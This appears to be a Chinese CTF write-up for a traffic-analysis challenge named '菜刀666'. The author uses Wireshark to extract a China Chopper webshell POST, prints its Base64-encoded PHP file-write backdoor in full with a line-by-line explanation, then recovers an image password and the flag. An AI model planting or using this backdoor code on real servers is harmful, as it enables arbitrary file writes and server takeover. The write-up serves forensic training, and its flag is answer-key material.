题目:菜刀666
解题:
流量分析, 第一步,看题目,说菜刀,菜刀传输是POST
打开wireshark,过滤框输:
http.request.method=="POST"
得到:
总共就这几个包,找里面含有价值信息的,这里看到其中一个的包length是5033,比别的大不少,追踪一下他TCP流。得到如下图
里面注意z1和z2,z2之前的信息粘过来如下
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D&z1=RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc%3D&
上面分为2部分,z1前和z1后,两都base64,对z1前的解个码(base64)(我带了z1的,不要紧,下面不影响结果)
排版好看点是:
这段PHP脚本是一个典型的文件上传后门,用于接收外部数据并写入服务器文件系统。他主要功能如下
-
禁用错误显示
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0);
- 隐藏PHP错误信息,避免暴露漏洞。
- 取消脚本执行时间限制,允许处理大文件。
-
接收并解码参数
$f = base64_decode($_POST["z1"]); // 解码目标文件路径 $c = $_POST["z2"]; // 待写入的内容(经特殊编码)
z1
参数(Base64编码):解码后得到文件路径(如D:\wamp64\www\upload\6666.jpg
)。z2
参数:包含待写入文件的实际内容。
-
处理待写入内容
$c = str_replace("\r", "", $c); // 移除回车符 $c = str_replace("\n", "", $c); // 移除换行符 $buf = ""; for($i=0; $i<strlen($c); $i+=2) { $buf .= urldecode("%" . substr($c, $i, 2)); // 每两个字符进行一次URL解码 }
- 将
z2
的内容转换为原始二进制数据(例如,48656C6C6F
→Hello
)。
- 将
-
写入文件
echo(@fwrite(fopen($f, "w"), $buf) ? "1" : "0");
- 将处理后的内容写入指定文件(覆盖模式)。
- 返回
1
(成功)或0
(失败)。
潜在风险
- 任意文件写入:攻击者可通过控制
z1
和z2
参数,向服务器任意路径写入任意文件(如Webshell、木马)。 - 伪装文件类型:示例中写入的是
.jpg
文件,但实际内容可能是PHP代码,用于绕过文件上传过滤。 - 数据传输隐蔽性:通过Base64和URL编码混淆数据,躲避安全设备检测。
回到题目主线,对z1的url解编码:
给出了一个文件路径:D:\wamp64\www\upload\6666.jpg7
记录一下
下面看z2了。把z2的数据先放到txt里,再用010导入:
第一步:
第二步:
第三步,保存,并命名后缀是jpg,得到的图如下
Th1s_1s_p4sswd_!!!
这…搞到了一个password,是哪个的呢,回题目的文件看看
里面确实有货,用kali的formost分离一下:
foremost 666666.pcapng
chmod -R 777 output
把文件拉到Windows里,输入上面的口令
得到:
flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}